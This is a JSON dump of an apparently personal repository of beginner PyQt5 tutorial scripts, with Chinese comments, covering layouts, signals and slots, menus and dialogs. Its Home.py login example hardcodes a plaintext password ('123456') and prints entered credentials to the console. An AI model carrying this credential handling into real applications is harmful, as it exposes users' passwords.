super().__init__()\\r\\n self.initUI()\\r\\n\\r\\n def initUI(self):\\r\\n title = QLabel('Title')\\r\\n author = QLabel('Name')\\r\\n review = QLabel('Review')\\r\\n\\r\\n titleEdit = QLineEdit()\\r\\n authorEdit = QLineEdit()\\r\\n reviewEdit = QTextEdit()\\r\\n\\r\\n sendButton = QPushButton(\\\"Send\\\")\\r\\n cancelButton = QPushButton(\\\"Cancel\\\")\\r\\n cancelButton.clicked.connect(self.close)\\r\\n # 这个使得全部窗口都退出了！！！\\r\\n\\r\\n\\r\\n grid = QGridLayout()\\r\\n grid.setSpacing(10)\\r\\n\\r\\n grid.addWidget(title, 1, 0)\\r\\n grid.addWidget(titleEdit, 1, 1, 1, 5)\\r\\n grid.addWidget(author, 2, 0)\\r\\n grid.addWidget(authorEdit, 2, 1, 1, 5)\\r\\n grid.addWidget(review, 3, 0)\\r\\n grid.addWidget(reviewEdit, 3, 1, 5, 5) # 5, 3 表示跨5行3列\\r\\n grid.addWidget(sendButton, 8, 4)\\r\\n grid.addWidget(cancelButton, 8, 5)\\r\\n self.setLayout(grid)\\r\\n\\r\\n self.setGeometry(300, 300, 500, 300)\\r\\n self.setWindowTitle(\\\"Feedback\\\")\\r\\n self.show()\\r\\n \\r\\n def closeBtn(self):\\r\\n reply = QMessageBox.question(self,\\r\\n \\\"Cancel\\\",\\r\\n \\\"Are you sure to cancel?\\\",\\r\\n QMessageBox.Yes | QMessageBox.No,\\r\\n QMessageBox.No)\\r\\n if reply == QMessageBox.Yes:\\r\\n QCoreApplication.instance().quit()\\r\\n else:\\r\\n pass\\r\\n\\r\\n\\r\\nif __name__ == '__main__':\\r\\n app = QApplication(sys.argv)\\r\\n # ex1 = Example_absolute()\\r\\n ex2 = Example_layout()\\r\\n ex3 = Example_gridLayout()\\r\\n ex4 = Example_feedBack()\\r\\n sys.exit(app.exec())\"\n },\n {\n \"alpha_fraction\": 0.5885695219039917,\n \"alphanum_fraction\": 0.6026069521903992,\n \"avg_line_length\": 31.617977142333984,\n \"blob_id\": \"b3048a9bfa2c26ba1e3a624ed812a9a3d064a5d2\",\n \"content_id\": \"e06696089ce1a4fcef5ae71b8b054b650534059d\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 3148,\n \"license_type\": \"no_license\",\n \"max_line_length\": 88,\n \"num_lines\": 89,\n \"path\": \"/PyQt5/Home.py\",\n \"repo_name\": \"legendaryCJT/Learining\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"from PyQt5.QtWidgets import (QApplication, QWidget, QPushButton, QLabel, QMessageBox,\\r\\n QLineEdit, QGridLayout)\\r\\nfrom PyQt5.QtGui import QIcon\\r\\nimport sys\\r\\n\\r\\n'''\\r\\nelf.lineEdit.setEchoMode(QLineEdit.Password) 设置密码隐藏\\r\\nself.lineEdit.setClearButtonEnabled(True) 设置对输入内容的删除提示\\r\\nself.lineEdit.setFixedSize() 总的设置控件大小\\r\\nself.lineEdit.setFixedWidth() 设置宽度\\r\\nself.lineEdit.setFixedHeight() 设置高度\\r\\nself.lineEdit.setFrame(False) 设置无边框\\r\\nself.lineEdit.text() 获得文本输入\\r\\nself.lineEdit.setText() 设置文本\\r\\nself.lineEdit.clear() 清除输入\\r\\nself.lineEdit.hide() 设置隐藏\\r\\nself.lineEdit.show() 设置展示\\r\\n调用QLineEdit的setPlaceholderText函数即可设置背景文字\\r\\n'''\\r\\n\\r\\nid = '圣雄肝帝'\\r\\npsw = '123456'\\r\\n\\r\\n\\r\\nclass LoginUI(QWidget):\\r\\n def __init__(self):\\r\\n super(LoginUI, self).__init__()\\r\\n self.initUI()\\r\\n\\r\\n def initUI(self):\\r\\n idLabel = QLabel(\\\"ID: \\\", self)\\r\\n pswLabel = QLabel(\\\"Psw: \\\", self)\\r\\n\\r\\n self.idText = QLineEdit(self)\\r\\n self.idText.setPlaceholderText(\\\"Enter your ID\\\")\\r\\n self.pswText = QLineEdit(self)\\r\\n self.pswText.setPlaceholderText(\\\"Enter your Password\\\")\\r\\n self.pswText.setEchoMode(QLineEdit.Password)\\r\\n\\r\\n loginBtn = QPushButton(QIcon('./icon/user.png'), \\\"Login\\\", self)\\r\\n loginBtn.clicked.connect(self.loginTips)\\r\\n cancelBtn = QPushButton(\\\"Cancel\\\", self)\\r\\n cancelBtn.clicked.connect(self.closeBtn)\\r\\n\\r\\n grid = QGridLayout()\\r\\n grid.setSpacing(10)\\r\\n self.setLayout(grid)\\r\\n\\r\\n grid.addWidget(idLabel, 1, 0, 1, 1)\\r\\n grid.addWidget(self.idText, 1, 1, 1, 5)\\r\\n grid.addWidget(pswLabel, 2, 0, 1, 1)\\r\\n grid.addWidget(self.pswText, 2, 1, 1, 5)\\r\\n grid.addWidget(loginBtn, 3, 4)\\r\\n grid.addWidget(cancelBtn, 3, 5)\\r\\n\\r\\n self.setGeometry(300, 300, 500, 300)\\r\\n self.setWindowTitle(\\\"Login\\\")\\r\\n self.setWindowIcon(QIcon('./timg.jpg'))\\r\\n self.show()\\r\\n\\r\\n def closeEvent(self, event):\\r\\n reply = QMessageBox.question(self, \\\"Cancel\\\", \\\"Are you sure to cancel?\\\",\\r\\n QMessageBox.Yes | QMessageBox.No, QMessageBox.No)\\r\\n if reply == QMessageBox.Yes:\\r\\n event.accept()\\r\\n else:\\r\\n event.ignore()\\r\\n\\r\\n def closeBtn(self):\\r\\n reply = QMessageBox.question(self, \\\"Cancel\\\", \\\"Are you sure to cancel?\\\",\\r\\n QMessageBox.Yes | QMessageBox.No, QMessageBox.No)\\r\\n if reply == QMessageBox.Yes:\\r\\n # self.close()\\r\\n QApplication.quit()\\r\\n else:\\r\\n pass\\r\\n\\r\\n def loginTips(self):\\r\\n if self.idText.text() == id and self.pswText.text() == psw:\\r\\n QMessageBox.information(self, \\\"Aloha\\\", \\\"Login successfully\\\", QMessageBox.Ok)\\r\\n else:\\r\\n QMessageBox.information(self, \\\"Error\\\", \\\"Failed to login\\\", QMessageBox.Ok)\\r\\n print(self.idText.text(), self.pswText.text())\\r\\n\\r\\n\\r\\nif __name__ == '__main__':\\r\\n app = QApplication(sys.argv)\\r\\n ex = LoginUI()\\r\\n sys.exit(app.exec())\\r\\n\"\n },\n {\n \"alpha_fraction\": 0.5866032242774963,\n \"alphanum_fraction\": 0.6060245633125305,\n \"avg_line_length\": 26.189943313598633,\n \"blob_id\": \"9704dbfcb4c92ca95ff534410efce0333f0e9ed4\",\n \"content_id\": \"562eda95dd1cac4084f6af281e8b20e186ae6dfd\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 6472,\n \"license_type\": \"no_license\",\n \"max_line_length\": 77,\n \"num_lines\": 179,\n \"path\": \"/PyQt5/Signals_and_Slots.py\",\n \"repo_name\": \"legendaryCJT/Learining\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"import sys\\r\\nfrom PyQt5.QtCore import Qt\\r\\nfrom PyQt5.QtWidgets import (QWidget, QApplication, QVBoxLayout,\\r\\n QLabel, QGridLayout, QPushButton,\\r\\n QSlider, QLCDNumber, QStatusBar,\\r\\n QMainWindow)\\r\\nfrom PyQt5.QtCore import QObject, pyqtSignal\\r\\n\\r\\n# 新的模块： QtCore.Qt、 QtWidgets.QSlider， QtWidgets.QLCDNumber\\r\\n# QtCore.QObject，QtCore.pyqtSignal\\r\\n\\r\\n'''\\r\\n所有的应用都是事件驱动的。事件大部分都是由用户的行为产生的，\\r\\n当然事件也有其他的产生方式比如网络的连接，窗口管理器或者定时器等。\\r\\n调用应用的exec_()方法时，应用会进入主循环，主循环会监听和分发事件。\\r\\n\\r\\n在事件模型中，有三个角色：事件源、事件、事件目标\\r\\n事件源就是发生了状态改变的对象。事件是这个对象状态改变的内容。\\r\\n事件目标是事件想作用的目标。事件源绑定事件处理函数，然后作用于事件目标身上。\\r\\n\\r\\nPyQt5处理事件方面有个signal and slot机制。Signals and slots用于对象间的通讯。\\r\\n事件触发的时候，发生一个signal，slot是用来被Python调用的（就是相当于事件的绑定函数）\\r\\nslot只有在事件触发的时候才能调用。\\r\\n'''\\r\\n\\r\\n\\r\\nclass Example_SAS(QWidget):\\r\\n def __init__(self):\\r\\n super().__init__()\\r\\n self.initUI()\\r\\n\\r\\n def initUI(self):\\r\\n lcd = QLCDNumber(self)\\r\\n sld = QSlider(Qt.Horizontal, self)\\r\\n\\r\\n vbox = QVBoxLayout()\\r\\n vbox.addWidget(lcd)\\r\\n vbox.addWidget(sld)\\r\\n\\r\\n self.setLayout(vbox)\\r\\n sld.valueChanged.connect(lcd.display)\\r\\n self.setGeometry(300, 300, 250, 150)\\r\\n self.setWindowTitle(\\\"Signal and slot\\\")\\r\\n self.show()\\r\\n # 显示了QtGui.QLCDNumber和QtGui.QSlider模块，我们能拖动滑块让数字跟着发生改变。\\r\\n # sender是信号的发送者，receiver是信号的接收者，slot是对这个信号应该做出的反应。\\r\\n\\r\\n\\r\\nclass Example_EventHandler(QWidget):\\r\\n # 在PyQt5中，事件处理器经常被重写（也就是用自己的覆盖库自带的）。\\r\\n def __init__(self):\\r\\n super(Example_EventHandler, self).__init__()\\r\\n self.initUI()\\r\\n\\r\\n def initUI(self):\\r\\n self.setGeometry(300, 300, 250, 150)\\r\\n self.setWindowTitle(\\\"Event handler\\\")\\r\\n self.show()\\r\\n\\r\\n def keyPressEvent(self, event):\\r\\n if event.key() == Qt.Key_Escape:\\r\\n self.close()\\r\\n\\r\\n\\r\\n# 这个例子中，我们替换了事件处理器函数keyPressEvent()。\\r\\n# 按下ESC键程序就会退出。\\r\\n\\r\\n\\r\\nclass Example_EventObject(QWidget):\\r\\n # 事件对象是用python来描述一系列的事件自身属性的对象。\\r\\n def __init__(self):\\r\\n super(Example_EventObject, self).__init__()\\r\\n self.text = None\\r\\n self.label = None\\r\\n self.initUI()\\r\\n\\r\\n def initUI(self):\\r\\n grid = QGridLayout()\\r\\n grid.setSpacing(10)\\r\\n\\r\\n x = 0\\r\\n y = 0\\r\\n\\r\\n self.text = \\\"x: {0}, y: {1}\\\".format(x, y)\\r\\n self.label = QLabel(self.text, self)\\r\\n\\r\\n grid.addWidget(self.label, 0, 0, Qt.AlignTop)\\r\\n self.setLayout(grid)\\r\\n\\r\\n self.setMouseTracking(True)\\r\\n # 事件追踪默认没有开启，当开启后才会追踪鼠标的点击事件。\\r\\n self.setGeometry(300, 300, 350, 200)\\r\\n self.setWindowTitle(\\\"Event object\\\")\\r\\n self.show()\\r\\n\\r\\n def mouseMoveEvent(self, event):\\r\\n # event代表了事件对象。里面有我们触发事件（鼠标移动）的事件对象。\\r\\n # x()和y()方法得到鼠标的x和y坐标点，然后拼成字符串输出到QLabel组件里。\\r\\n x = event.x()\\r\\n y = event.y()\\r\\n self.text = \\\"x: {0}, y: {1}\\\".format(x, y)\\r\\n self.label.setText(self.text)\\r\\n # 这个示例中，我们在一个组件里显示鼠标的X和Y坐标。\\r\\n # Y坐标显示在QLabel组件里\\r\\n\\r\\n\\r\\nclass Example_EventSender(QMainWindow):\\r\\n # 有时候我们会想知道是哪个组件发出了一个信号，\\r\\n # PyQt5里的sender()方法能搞定这件事。\\r\\n def __init__(self):\\r\\n super().__init__()\\r\\n # self.status_bar = self.statusBar()\\r\\n self.status_bar = QStatusBar(self)\\r\\n self.initUI()\\r\\n\\r\\n def initUI(self):\\r\\n self.status_bar.showMessage(\\\"Ready\\\")\\r\\n btn1 = QPushButton(\\\"Button 1\\\", self)\\r\\n btn1.move(50, 50)\\r\\n\\r\\n btn2 = QPushButton(\\\"Button 2\\\", self)\\r\\n btn2.move(150, 50)\\r\\n\\r\\n btn1.clicked.connect(self.buttonClicked)\\r\\n btn2.clicked.connect(self.buttonClicked)\\r\\n # buttonClicked()方法决定了是哪个按钮能调用sender()方法。\\r\\n # 两个按钮都和同一个slot绑定。\\r\\n\\r\\n self.setWindowTitle(\\\"Event sender\\\")\\r\\n self.setGeometry(300, 300, 300, 200)\\r\\n self.setStatusBar(self.status_bar)\\r\\n self.show()\\r\\n\\r\\n def buttonClicked(self):\\r\\n sender = self.sender()\\r\\n self.status_bar.showMessage(sender.text() + ' was pressed')\\r\\n # 用调用sender()方法的方式决定了事件源。状态栏显示了被点击的按钮。\\r\\n\\r\\n # 似乎只有QMainWindow有状态栏\\r\\n # 状态栏既可以通过self.StatusBar()生成并展示\\r\\n # 也可以通过 self.stB = QStatusBar()生成后再由self.setStatusBar(self.stB)显示（否则显示异常）\\r\\n\\r\\n\\r\\nclass Communicate(QObject):\\r\\n closeApp = pyqtSignal()\\r\\n\\r\\n\\r\\n# 我们创建了一个叫closeApp的信号，这个信号会在鼠标按下的时候触发\\r\\n# 事件与QMainWindow绑定。\\r\\n# Communicate类创建了一个pyqtSignal()属性的信号。\\r\\n\\r\\n\\r\\nclass Example_EmitSignal(QMainWindow):\\r\\n def __init__(self):\\r\\n super().__init__()\\r\\n self.c = Communicate()\\r\\n self.initUI()\\r\\n\\r\\n def initUI(self):\\r\\n # self.c = Communicate()\\r\\n self.c.closeApp.connect(self.close)\\r\\n # closeApp信号QMainWindow的close()方法绑定。\\r\\n self.setGeometry(300, 300, 300, 150)\\r\\n self.setWindowTitle(\\\"Emit signal\\\")\\r\\n self.show()\\r\\n\\r\\n def mousePressEvent(self, event):\\r\\n self.c.closeApp.emit()\\r\\n # 点击窗口的时候，发送closeApp信号，程序终止。\\r\\n\\r\\n\\r\\nif __name__ == '__main__':\\r\\n app = QApplication(sys.argv)\\r\\n # ex1 = Example_SAS()\\r\\n # ex2 = Example_EventHandler()\\r\\n # ex3 = Example_EventObject()\\r\\n # ex4 = Example_EventSender()\\r\\n ex5 = Example_EmitSignal()\\r\\n sys.exit(app.exec_())\\r\\n\"\n },\n {\n \"alpha_fraction\": 0.7714285850524902,\n \"alphanum_fraction\": 0.7714285850524902,\n \"avg_line_length\": 16.5,\n \"blob_id\": \"4bfa6bc18c44c7ec544be2954fec8720dbb98384\",\n \"content_id\": \"3da5066157371ccb65a598744b76eebea06a9dd0\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Markdown\",\n \"length_bytes\": 35,\n \"license_type\": \"no_license\",\n \"max_line_length\": 23,\n \"num_lines\": 2,\n \"path\": \"/README.md\",\n \"repo_name\": \"legendaryCJT/Learining\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# Learning\\nTo mark down my learing\\n\"\n },\n {\n \"alpha_fraction\": 0.5661850571632385,\n \"alphanum_fraction\": 0.5720421671867371,\n \"avg_line_length\": 33.082191467285156,\n \"blob_id\": \"025b8119afcf4ac191a8d9348de237f30c8f9c10\",\n \"content_id\": \"55348fcb260851a550d1a4743efae6b08477d4f3\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 6428,\n \"license_type\": \"no_license\",\n \"max_line_length\": 89,\n \"num_lines\": 146,\n \"path\": \"/PyQt5/Menu_and_ToolBar.py\",\n \"repo_name\": \"legendaryCJT/Learining\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"import sys\\r\\nfrom PyQt5.QtWidgets import QMainWindow, QApplication\\r\\n# QMainWindow提供了主窗口的功能，使用它能创建一些简单的状态栏、工具栏和菜单栏。\\r\\nfrom PyQt5.QtWidgets import QAction, qApp\\r\\nfrom PyQt5.QtWidgets import QMenu\\r\\n# 子菜单中使用QMenu创建一个新菜单。\\r\\nfrom PyQt5.QtWidgets import QMessageBox\\r\\nfrom PyQt5.QtWidgets import QTextEdit\\r\\nfrom PyQt5.QtGui import QIcon\\r\\nfrom PyQt5.QtCore import QCoreApplication\\r\\n\\r\\n\\r\\nclass Example(QMainWindow):\\r\\n def __init__(self):\\r\\n super().__init__()\\r\\n self.status_bar = self.statusBar()\\r\\n self.initUI()\\r\\n\\r\\n def initUI(self):\\r\\n # self.status_bar = self.statusBar()\\r\\n self.status_bar.showMessage(\\\"App Ready\\\")\\r\\n # 调用QtGui.QMainWindow类的statusBar()方法，创建状态栏。\\r\\n # 第一次调用创建一个状态栏，返回一个状态栏对象。\\r\\n # showMessage()方法在状态栏上显示一条信息。\\r\\n\\r\\n self.setGeometry(300, 300, 500, 300)\\r\\n self.setWindowIcon(QIcon('./timg.jpg'))\\r\\n self.setWindowTitle(\\\"Test\\\")\\r\\n\\r\\n exitAct = QAction(QIcon('./icon/exit.png'), '&Exit', self)\\r\\n # QAction是菜单栏、工具栏或者快捷键的动作的组合。\\r\\n # 先创建了一个图标、一个exit的标签和一个快捷键组合，都执行了一个动作。\\r\\n\\r\\n exitAct.setShortcut('Ctrl+Q')\\r\\n exitAct.setStatusTip('Exit application')\\r\\n # 在已有状态栏基础上，当鼠标悬停在菜单栏的时候，能改变状态栏显示当前状态。\\r\\n\\r\\n exitAct.triggered.connect(self.closeBtn)\\r\\n # exitAct.triggered.connect(QApplication.quit)\\r\\n # 这个事件跟QApplication的quit()行为相关联，上面两条语句等价？\\r\\n # 创建了只有一个命令的菜单file-exit，这个命令就是终止应用。\\r\\n # 同时也创建(不是，而是原先已有)了一个状态栏。还能使用快捷键Ctrl+Q退出应用。\\r\\n\\r\\n authorAct = QAction(QIcon('./icon/info.png'), \\\"Author\\\", self)\\r\\n authorAct.triggered.connect(self.authorTips)\\r\\n\\r\\n menu_bar = self.menuBar()\\r\\n fileMenu = menu_bar.addMenu('&File')\\r\\n moreMenu = menu_bar.addMenu('&More')\\r\\n # fileMenu.addAction(exitAct)\\r\\n # 创建了一个菜单栏，并在上面添加了一个file, more菜单.\\r\\n # file关联了点击退出应用的事件。\\r\\n newAct = QAction(QIcon('./icon/plus.png'), 'New', self)\\r\\n\\r\\n impMenu = QMenu('Import', self)\\r\\n # 这里通过QMenu创建子菜单。\\r\\n impAct = QAction(QIcon('./icon/book.png'), 'Import mail', self)\\r\\n impMenu.addAction(impAct)\\r\\n # 后面设置impAct的属性即可完成一定功能(点击与事件连接)。\\r\\n\\r\\n fileMenu.addAction(newAct) # newAct是QAction类，不能addMenu\\r\\n fileMenu.addMenu(impMenu)\\r\\n fileMenu.addAction(exitAct)\\r\\n # addAction将QAction加入主菜单。\\r\\n # addMenu将子菜单加入到主菜单里面。\\r\\n\\r\\n moreMenu.addAction(authorAct)\\r\\n\\r\\n viewMenu = menu_bar.addMenu(\\\"View\\\") # &View和View当名字的区别在于首字母有无下划线\\r\\n viewStatAct = QAction('View statusBar', self, checkable=True)\\r\\n viewStatAct.setStatusTip('View statusBar')\\r\\n viewStatAct.setChecked(True) # 默认值为勾选\\r\\n viewStatAct.triggered.connect(self.toggleMenu)\\r\\n viewMenu.addAction(viewStatAct)\\r\\n # 添加勾选菜单，并对其属性进行设置。\\r\\n\\r\\n textEdit = QTextEdit()\\r\\n self.setCentralWidget(textEdit)\\r\\n # 创建一个文本编辑区，并且放置于QMainWindow中间区域\\r\\n\\r\\n tool_bar = self.addToolBar(\\\"Exit\\\")\\r\\n tool_bar.addAction(exitAct)\\r\\n\\r\\n self.show()\\r\\n\\r\\n def authorTips(self):\\r\\n QMessageBox.information(self, \\\"AuthorInfo\\\", \\\"Author: 圣雄肝帝·猛男·CJT\\\\n\\\"\\r\\n \\\"Version: 0.0.1_beta\\\\n\\\"\\r\\n \\\"Date: 2019/12/08\\\\n\\\", QMessageBox.Ok)\\r\\n\\r\\n def toggleMenu(self, state):\\r\\n if state:\\r\\n self.status_bar.show()\\r\\n else:\\r\\n self.status_bar.hide()\\r\\n\\r\\n def contextMenuEvent(self, event):\\r\\n # 使用contextMenuEvent()方法实现这个菜单。\\r\\n\\r\\n cMenu = QMenu(self)\\r\\n # 右键菜单也叫弹出框（！？），是在某些场合下显示的一组命令。\\r\\n # 例如，Opera浏览器里，网页上的右键菜单里会有刷新，返回或者查看页面源代码。\\r\\n # 如果在工具栏上右键，会得到一个不同的用来管理工具栏的菜单。\\r\\n\\r\\n newAct = cMenu.addAction('New')\\r\\n openAct = cMenu.addAction('Open')\\r\\n quitAct = cMenu.addAction('Quit')\\r\\n\\r\\n action = cMenu.exec(self.mapToGlobal(event.pos()))\\r\\n # 使用exec_()方法显示菜单。从鼠标右键事件对象中获得当前坐标。\\r\\n # mapToGlobal()方法把当前组件的相对坐标转换为窗口（window）的绝对坐标\\r\\n # 如果右键菜单里触发了事件，也就触发了退出事件，执行关闭菜单行为。\\r\\n # 与global对应的有mapToParent\\r\\n if action == quitAct:\\r\\n qApp.quit()\\r\\n # self.closeEvent()\\r\\n\\r\\n # 个人体会：Menu 和 toolBar 的关系\\r\\n # 可以类比为浏览器中的书签收藏夹(进入里面细选)和书签栏(直接展示具体每一项)\\r\\n def closeEvent(self, event):\\r\\n reply = QMessageBox.question(self,\\r\\n \\\"Cancel\\\",\\r\\n \\\"Are you sure to cancel?\\\",\\r\\n QMessageBox.Yes | QMessageBox.No,\\r\\n QMessageBox.No)\\r\\n if reply == QMessageBox.Yes:\\r\\n event.accept()\\r\\n else:\\r\\n event.ignore()\\r\\n\\r\\n def closeBtn(self):\\r\\n reply = QMessageBox.question(self,\\r\\n \\\"Cancel\\\",\\r\\n \\\"Are you sure to cancel?\\\",\\r\\n QMessageBox.Yes | QMessageBox.No,\\r\\n QMessageBox.No)\\r\\n if reply == QMessageBox.Yes:\\r\\n QCoreApplication.instance().quit()\\r\\n else:\\r\\n pass\\r\\n\\r\\n\\r\\nif __name__ == '__main__':\\r\\n app = QApplication(sys.argv)\\r\\n ex = Example()\\r\\n sys.exit(app.exec())\\r\\n\"\n },\n {\n \"alpha_fraction\": 0.6272482872009277,\n \"alphanum_fraction\": 0.6340706944465637,\n \"avg_line_length\": 34.64393997192383,\n \"blob_id\": \"732e7eea812dd15c712a6082036f7124f0330bdf\",\n \"content_id\": \"3dc5dae3d54c1bb5f2c58803b83670f8b4f6253a\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 7519,\n \"license_type\": \"no_license\",\n \"max_line_length\": 86,\n \"num_lines\": 132,\n \"path\": \"/PyQt5/Aloha.py\",\n \"repo_name\": \"legendaryCJT/Learining\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"import sys\\r\\nfrom PyQt5.QtWidgets import QApplication\\r\\n# QCoreApplication包含了事件的主循环，它能添加和删除所有的事件\\r\\nfrom PyQt5.QtWidgets import QWidget, QToolTip\\r\\n# QWidget控件是一个用户界面的基本控件，提供了基本的应用构造器。\\r\\nfrom PyQt5.QtWidgets import QPushButton, QMessageBox\\r\\n#\\r\\nfrom PyQt5.QtWidgets import QDesktopWidget\\r\\n# QtGui.QDesktopWidget提供了用户的桌面信息，包括屏幕的大小\\r\\n# 以上引入了PyQt5.QtWidgets模块的不少组件，这个模块包含了基本的组件。\\r\\n\\r\\nfrom PyQt5.QtGui import QIcon, QFont\\r\\n# 有关图标和字体的设置\\r\\nfrom PyQt5.QtCore import QCoreApplication\\r\\n\\r\\n# 如何用程序关闭一个窗口。这里我们将接触到一点single和slots的知识。\\r\\n\\r\\n\\r\\nclass Example(QWidget):\\r\\n # QWidget是UI的基本控件，提供基本的应用构造器。\\r\\n # 默认情况下构造器没有父级，没有父级的构造器被称为“窗口”（window）。\\r\\n # 这里意味着我们调用两个构造器，一是类本身，二是这个类继承的。\\r\\n\\r\\n def __init__(self):\\r\\n # super()构造器方法返回父级的对象。__init__()方法是构造器的一个方法。\\r\\n super().__init__()\\r\\n self.initUI()\\r\\n\\r\\n def initUI(self):\\r\\n # 创建了有图标的窗口，并且有提示框和按钮，再实现按钮的功能(Quit)。\\r\\n\\r\\n QToolTip.setFont(QFont('SansSerif', 10)) # 设置提示框字体。\\r\\n\\r\\n self.setToolTip(\\\"This is a <b>Qwidget</b> widget\\\")\\r\\n # 调用这个方法创建提示框可以使用富文本格式的内容。\\r\\n\\r\\n btn = QPushButton('Button', self)\\r\\n # QPushButton(string text, QWidget parent = None)\\r\\n # text参数是想要显示的按钮名称，parent参数是放在按钮上的组件，在本例中，这个参数是QWidget。\\r\\n # 应用中的组件都是一层一层（继承而来的？）的。\\r\\n # 在这个层里，大部分的组件都有自己的父级，没有父级的组件，是顶级的窗口。\\r\\n\\r\\n btn.setToolTip(\\\"This is a <b>QPushButton</b> widget\\\")\\r\\n # 添加了一个按钮，并为其添加了一个提示框。\\r\\n btn.resize(btn.sizeHint())\\r\\n # 调整按钮大小，sizeHint()方法提供默认大小\\r\\n btn.move(50, 50)\\r\\n btn.clicked.connect(self.btnTips)\\r\\n # 自己写的btnTips弹窗信息框， 连接信号和时间时的方法应该传递地址(即不带\\\"()\\\")\\r\\n\\r\\n QuitBtn = QPushButton('Quit', self)\\r\\n # QuitBtn.clicked.connect(QCoreApplication.instance().quit)\\r\\n # 点击事件和能终止进程并退出应用的quit函数绑定在了一起。\\r\\n # 在发送者和接受者之间建立了通讯，发送者就是按钮，接受者就是应用对象。\\r\\n QuitBtn.clicked.connect(self.closeBtn)\\r\\n QuitBtn.resize(QuitBtn.sizeHint())\\r\\n QuitBtn.move(50, 100)\\r\\n # 事件传递系统在PyQt5内建的single和slot机制里面。点击按钮后，信号会被捕捉并给出既定的反应。\\r\\n # QCoreApplication包含了事件的主循环，它能添加和删除所有的事件。\\r\\n # instance()创建了一个它的实例。QCoreApplication是在QApplication里创建的。\\r\\n\\r\\n self.setGeometry(300, 300, 500, 300) # 前两是位置，后两是大小\\r\\n # move(移动放置的位置)和resize(改变控件大小)方法的组合\\r\\n self.setWindowTitle(\\\"Example\\\") # SetWindowTitle\\r\\n self.setWindowIcon(QIcon('./timg.jpg')) # SetWindowIcon\\r\\n self.center() # 自己写的使窗口居中的类函数\\r\\n self.show() # 为了让控件显示的方法，在内存创建而后显示器上有所显示。\\r\\n\\r\\n def closeEvent(self, event):\\r\\n # 如果关闭QWidget，就会产生一个QCloseEvent，\\r\\n # 并且把它传入到closeEvent函数的event参数中。\\r\\n # 改变控件的默认行为，就是替换掉默认的事件处理。\\r\\n reply = QMessageBox.question(self, 'Message', 'Are you sure to quit?',\\r\\n QMessageBox.Yes | QMessageBox.No,\\r\\n QMessageBox.No)\\r\\n # 创建了一个消息框，上面有俩按钮：Yes和No.\\r\\n # 第一个参数是父级窗口，此处self为主窗口QWidget生成的Example\\r\\n # 第二个字符串显示在消息框的标题栏，\\r\\n # 第三个参数(字符串)显示在对话框，第四个参数是消息框的俩按钮，\\r\\n # 最后一个参数是默认按钮，这个按钮是默认选中的。返回值在变量reply里。\\r\\n if reply == QMessageBox.Yes:\\r\\n event.accept()\\r\\n # QCoreApplication.instance().quit()\\r\\n else: # == QMessageBox.No\\r\\n event.ignore()\\r\\n # 判断reply值，如果点击的是Yes按钮，就关闭组件和应用，否则忽略关闭事件。\\r\\n\\r\\n # 该事件处理系统建立在 PyQt5 的信号/槽的机制上。如果我们点击该按钮，按钮将会发出信号，\\r\\n # 单击信号连接到 quit() 方法使应用程序终止。槽可以是 Qt 的槽也可以是 Python 的任何调用。\\r\\n # QCoreApplication 包含主事件循环；它处理和调度所有事件。instance()方法为我们提供了其当前实例。\\r\\n # 注意，区分 QCoreApplication 与 QApplication。\\r\\n # 发送器和接收器：在通信的两个对象之间进行。发送器是按钮，接收器是应用对象\\r\\n # !!整理概念\\r\\n # 按钮(btn)是发送器。点击(clicked)按钮后，发出点击信号。点击信号连接(connect)到槽(可以是 Qt 的槽也可以是 Python 的任何调用)。\\r\\n # 在我们的例子中是Qt的槽，QCoreApplication处理和调度所有Qt事件，调度出instance（这个实例（接收器））的 quit 事件。\\r\\n\\r\\n def closeBtn(self):\\r\\n reply = QMessageBox.question(self, \\\"Quit\\\", \\\"Are you sure to quit?\\\",\\r\\n QMessageBox.Yes | QMessageBox.No,\\r\\n QMessageBox.No)\\r\\n if reply == QMessageBox.Yes:\\r\\n QCoreApplication.instance().quit()\\r\\n else:\\r\\n pass\\r\\n\\r\\n def btnTips(self):\\r\\n QMessageBox.information(self, \\\"Btn\\\", \\\"Clicked Btn\\\")\\r\\n\\r\\n def center(self):\\r\\n qr = self.frameGeometry()\\r\\n # 获得主窗口所在的框架。\\r\\n cp = QDesktopWidget().availableGeometry().center()\\r\\n # QtGui.QDesktopWidget提供了用户的桌面信息，包括屏幕的大小。\\r\\n # 获取显示器的分辨率，然后得到屏幕中间点的位置\\r\\n qr.moveCenter(cp)\\r\\n # 把主窗口框架的中心点放置到屏幕的中心位置。\\r\\n self.move(qr.topLeft())\\r\\n # 把主窗口左上角移动到其框架的左上角，这样就把窗口居中了。\\r\\n\\r\\n\\r\\nif __name__ == '__main__':\\r\\n app = QApplication(sys.argv)\\r\\n # 每个PyQt5应用都必须创建一个应用对象。sys.argv是一组命令行参数的列表。\\r\\n # Python可以在shell里运行，这个参数提供对脚本控制的功能。\\r\\n ex = Example()\\r\\n # 实例化\\r\\n sys.exit(app.exec())\\r\\n # 进入应用主循环，事件处理器开始工作。\\r\\n # 从窗口接收事件并把事件派送到应用控件。\\r\\n # 当调用sys.exit方法或直接销毁主控件时，主循环结束。\\r\\n # exit方法确保主循环安全退出。外部环境能通知主控件如何结束\\r\\n # 有exec()与exec_() 是因为exec在py中是关键字，方便区分。\\r\\n\"\n 